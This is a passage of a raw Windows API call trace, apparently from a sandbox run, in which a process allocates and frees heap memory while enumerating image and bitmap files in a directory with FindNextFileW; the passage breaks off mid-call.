RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11da140 [0079.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4ac0) returned 0x11dc790 [0079.048] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0079.048] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.048] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x32cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="CircleIcons.jpg", cAlternateFileName="")) returned 1 [0079.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.048] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.049] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8ea0 [0079.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11da248 [0079.049] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.049] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x114c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CircleIconsMask.bmp", cAlternateFileName="")) returned 1 [0079.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.049] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.050] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8ec0 [0079.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11da350 [0079.050] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.050] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x26ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="MeetingIcon.jpg", cAlternateFileName="")) returned 1 [0079.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.050] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8ee0 [0079.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11da458 [0079.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.051] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MeetingIconMask.bmp", cAlternateFileName="")) returned 1 [0079.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.052] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8f00 [0079.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11da560 [0079.052] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.052] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x19e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectStatusIcons.jpg", cAlternateFileName="")) returned 1 [0079.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.052] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.052] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.053] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8f20 [0079.053] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11da668 [0079.053] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.053] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa10, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectStatusIconsMask.bmp", cAlternateFileName="")) returned 1 [0079.053] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.053] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.053] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.053] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.053] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.053] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8f40 [0079.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11da770 [0079.054] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.054] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x200e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectTaskIcon.jpg", cAlternateFileName="")) returned 1 [0079.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.054] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.054] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8f60 [0079.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11da878 [0079.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.055] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x79c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectTaskIconMask.bmp", cAlternateFileName="")) returned 1 [0079.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8f80 [0079.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11da980 [0079.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.056] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x538bb350, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectTool", cAlternateFileName="")) returned 1 [0079.056] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4f0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectToolsetIconImages.jpg", cAlternateFileName="")) returned 1 [0079.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8fa0 [0079.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11daa88 [0079.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.057] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2338, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectToolsetIconImagesMask.bmp", cAlternateFileName="")) returned 1 [0079.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8fc0 [0079.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dab90 [0079.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.057] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SplashImage.jpg", cAlternateFileName="")) returned 1 [0079.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.058] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.058] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8fe0 [0079.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dac98 [0079.058] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.058] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x14078, dwReserved0=0x0, dwReserved1=0x0, cFileName="SplashImageMask.bmp", cAlternateFileName="")) returned 1 [0079.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9000 [0079.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dada0 [0079.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.059] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x122, dwReserved0=0x0, dwReserved1=0x0, cFileName="TABMASK.BMP", cAlternateFileName="")) returned 1 [0079.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9020 [0079.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11daea8 [0079.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.060] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TABOFF.JPG", cAlternateFileName="")) returned 1 [0079.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.061] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9040 [0079.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dafb0 [0079.061] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.061] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="TABON.JPG", cAlternateFileName="")) returned 1 [0079.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.061] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.061] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9060 [0079.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11db0b8 [0079.062] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.062] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xdff, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHITEBOX.JPG", cAlternateFileName="")) returned 1 [0079.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.062] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.062] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9080 [0079.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11db1c0 [0079.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4b00) returned 0xacb2b8 [0079.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11dc790) returned 1 [0079.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.063] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4d72, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteboxMask.bmp", cAlternateFileName="")) returned 1 [0079.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c90a0 [0079.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11db2c8 [0079.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.064] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6e92300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6e92300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZoomIcons.jpg", cAlternateFileName="")) returned 1 [0079.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c90c0 [0079.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11db3d0 [0079.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.065] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6e92300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6e92300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZoomIconsMask.bmp", cAlternateFileName="")) returned 1 [0079.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c90e0 [0079.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11db4d8 [0079.066] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.066] FindNextFileW (in: hFindFile=0x2e9140, 